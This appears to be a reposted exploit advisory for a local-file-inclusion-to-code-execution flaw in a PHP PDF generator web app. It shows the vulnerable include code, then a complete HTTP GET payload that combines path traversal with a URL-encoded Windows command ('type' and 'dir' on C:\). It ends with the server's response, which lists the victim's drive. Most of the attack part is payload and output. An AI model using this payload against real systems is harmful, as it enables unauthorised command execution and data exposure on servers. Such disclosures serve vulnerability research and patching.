Share
## https://sploitus.com/exploit?id=PACKETSTORM:166468
# Title: PDF Generator Web App using TCPDF 1.0 LFI To RCE  
# Author: Hejap Zairy  
# Date: 26.07.2022  
# Vendor: https://www.sourcecodester.com/php/15243/pdf-generator-web-app-using-tcpdf-and-phpoop-free-source-code.html  
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pdf_generator.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
  
#vulnerability Code php  
Needs more filtering require_once  
  
php```  
<?php   
session_start();  
require_once('db-connect.php');  
$page = isset($_GET['page']) ? $_GET['page'] : 'home';  
$page_name = explode("/",$page)[count(explode("/",$page)) -1];  
?>  
```  
  
  
[+] Payload GET  
  
  
```  
GET /pdf_generator/?page=../../../0day&515=%74%79%70%65%20%43%3a%5c%30%64%61%79%5f%48%65%6a%61%70%5f%2e%74%78%74%20%26%26%20%64%69%72%20%43%3a%5c HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Content-Length: 354  
Cookie: PHPSESSID=av2qn4bthu78hm972lul6vmniv  
Upgrade-Insecure-Requests: 1  
```  
  
  
#Status: CRITICAL  
  
  
#Response   
```  
  
<div class="card card-body blur shadow-blur mx-3 mx-md-4 mt-n6">  
Hegap Zairy 0day Volume in drive C is OS  
Volume Serial Number is 2EF1-9DCA  
  
Directory of C:\  
  
03/18/2022 10:27 AM <DIR> Program Files  
03/21/2022 01:45 PM <DIR> Program Files (x86)  
03/02/2022 11:04 PM <DIR> Python27  
03/26/2022 08:33 PM <DIR> Temp  
03/26/2022 08:45 PM <DIR> Users  
  
```  
  
  
  
# Description:  
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce  
# Proof and Exploit:  
https://i.imgur.com/M5EbrT8.png